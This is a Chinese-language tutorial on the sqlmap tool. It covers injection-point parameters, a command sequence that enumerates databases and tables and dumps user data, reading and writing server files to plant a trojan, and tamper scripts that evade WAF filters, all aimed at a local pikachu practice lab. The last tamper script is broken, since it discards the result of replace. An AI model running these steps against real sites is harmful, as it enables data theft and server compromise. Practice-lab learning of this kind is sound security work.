sqlmap的使用方法
sqlmap基础用法
语法参数
参数
描述
实例
-p
注入点
-u www.xxx.com?key=1&name=2 -p key
-u
网站地址
--risk
风险等级(1-3)
--level
扫描等级(1-5)
--dump
对目标信息进行暴力破解
--sql-shell
获取数据库权限
--os-shell
获取系统权限
--proxy
设置代理
--tamper
绕过waf的脚本
--dbms
指定数据库的类型
若已知目标网站的数据库是mysql,那设置--dbms=mysql
,即可增加扫描效率
--technique
指定使用哪一种或哪几种SQL注入技术
B
:Boolean-based blind
E
:Error-based
U
:Union query-based
S
:Stacked queries
T
:Time-based blind
Q
:Inline queries
--batch
提示时自动补全
注入流程
sqlmap -u 目标网址 (检测是否存在sql注入,如果存在并返回目标网址的数据库)
sqlmap -u 目标网址 --is-dba (检测是否存在dba权限,dba权限是可以把文件写到目录里面去,如果存在就可以把木马写到目录里)
sqlmap -u 目标网址 --dbs (把目标网址所有的数据库列出来)
sqlmap -u 目标网址 --current-db (查找当前数据库)
sqlmap -u 目标网址 --tables -D “数据库名” (查询数据库的所有表名,之后根据经验自己猜一下那个是含有用户信息的表名)
sqlmap -u 目标网址 --columns -T “数据库表名” -D “数据库名” (查询所有的字段名)
sqlmap -u 目标网址 --dump -D “数据库名” -T “数据库表名” -C “数据库字段名” (对目标用户信息进行暴力破解)
文件写入和读取
判断是否含有写入权限
http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=111&submit=%E6%9F%A5%E8%AF%A2 --is-dba

读取网站目录下的某个文件,sqlmap会把读取到文件保存到本地的某个目录里
python.exe .\sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_str.php? name=111&submit=%E6%9F%A5%E8%AF%A2" --file-read D:\phpStudy\WWW\nice.php

将本地文件写入服务端
python.exe .\sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=111&submit=%E6%9F%A5%E8%AF%A2" --file-write C:\1.php --file-dest D:\phpStudy\WWW\1.php
Tamper脚本编写
1.了解tamper脚本的结构
以下是简单的tamper脚本代码,dependencies()函数就是弄个tamper使用说明的,个人认为不必要去了解
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOWEST #定义脚本的优先级
def dependencies(): #脚本适用范围
pass
def tamper(payload, **kwargs): #对payload的修改
return payload.replace(",", "/")
2.使用实例
例如网站的sql防御机制将"select"过滤掉了,那么我们写的tamper代码就如下
def tamper(payload, **kwargs): #对payload的修改
return payload.replace("select", "sselectelect")
将payload的空格都换成==/|%20--%20|/==,代码如下
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOWEST #定义脚本的优先级
import base64
def dependencies(): #脚本不适用范围
pass
def tamper(payload, **kwargs): #对payload的修改
for i in range(len(payload)):
if payload[i] == " ":
payload.replace(" ","/*|%20--%20|*/")
return payload
最后更新于